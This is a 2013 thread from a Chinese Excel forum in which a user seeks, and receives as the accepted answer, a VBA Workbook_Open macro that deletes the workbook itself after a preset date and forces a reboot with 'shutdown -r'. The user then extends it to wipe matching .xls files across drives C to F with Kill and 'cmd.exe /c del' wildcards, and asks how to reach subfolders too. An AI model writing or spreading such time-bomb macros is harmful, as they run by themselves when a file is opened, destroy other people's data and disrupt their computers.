Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 2651|回复: 4

[已解决]预设日期自杀工作薄且重启电脑

[复制链接]
发表于 2013-11-25 08:00 | 显示全部楼层 |阅读模式
本帖最后由 icenotcool 于 2013-11-25 17:12 编辑

各位老师好,之前在网上看到一个前辈的自杀帖子,
Private Sub Workbook_Open()
    If Date > #12/11/2019# Then
        Application.DisplayAlerts = False
        ThisWorkbook.ChangeFileAccess xlReadOnly
        Kill ThisWorkbook.FullName
        ThisWorkbook.close
        Application.Quit
    End If
End Sub
下面这个是我另外找到一个例子
Function 重启(Optional Close_Time As Byte = 10)'声明函数名称,有一个可选参数
重启 = Close_Time'在单元格显示时间
Shell "shutdown -R -t " & Close_Time'在指定的时间内重启计算机,调用DOS命令
End Function这个要怎样修改才能把2者结合在一起呢?
想要达到的效果是到期一点击该文件就自杀然后电脑重新启动
最佳答案
2013-11-25 09:10
Private Sub Workbook_Open()
    If Date > #12/11/2012# Then
        Application.DisplayAlerts = False
        ThisWorkbook.ChangeFileAccess xlReadOnly
        Kill ThisWorkbook.FullName
        Shell "shutdown -r -t 005"    '5秒后系统重启
        ThisWorkbook.Close
        Application.Quit
    End If
End Sub
excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2013-11-25 09:10 | 显示全部楼层    本楼为最佳答案   
Private Sub Workbook_Open()
    If Date > #12/11/2012# Then
        Application.DisplayAlerts = False
        ThisWorkbook.ChangeFileAccess xlReadOnly
        Kill ThisWorkbook.FullName
        Shell "shutdown -r -t 005"    '5秒后系统重启
        ThisWorkbook.Close
        Application.Quit
    End If
End Sub
回复

使用道具 举报

 楼主| 发表于 2013-11-25 12:01 | 显示全部楼层
本帖最后由 icenotcool 于 2013-11-25 12:02 编辑

老师,可以补充问一个问题吗?我想这个文件一打开,关联操作删除本电脑所有目录下跟他同名的“*对账系统*.xls"文件一起自杀掉,该怎样改写呢?例如
shell "cmd.exe/c del C:\*对账系统*.xls"
shell "cmd.exe/c del D:\*对账系统*.xls"
shell "cmd.exe/c del E:\*对账系统*.xls"
shell "cmd.exe/c del F:\*对账系统*.xls"
回复

使用道具 举报

发表于 2013-11-25 12:38 | 显示全部楼层
学习一下,谢谢!
回复

使用道具 举报

 楼主| 发表于 2013-11-25 15:14 | 显示全部楼层
本帖最后由 icenotcool 于 2013-11-25 16:40 编辑

Private Sub Workbook_Open()
    If Date > #12/11/2012# Then
        Application.DisplayAlerts = False
        ThisWorkbook.ChangeFileAccess xlReadOnly
        Kill ThisWorkbook.FullName
        Kill "C:\*爸*.xls"
        Kill "D:\*爸*.xls"
        Kill "E:\*爸*.xls"
        Kill "F:\*爸*.xls"
        Shell "shutdown -r -t 005"    '5秒后系统重启
        ThisWorkbook.Close
        Application.Quit
    End If
End Sub
我应该怎样修改,操作C、D、E、F盘目录下所有该文件名字的文件,可能其他子目录文件夹也含有该同名文件?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-4-27 00:00 , Processed in 0.779105 second(s), 10 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表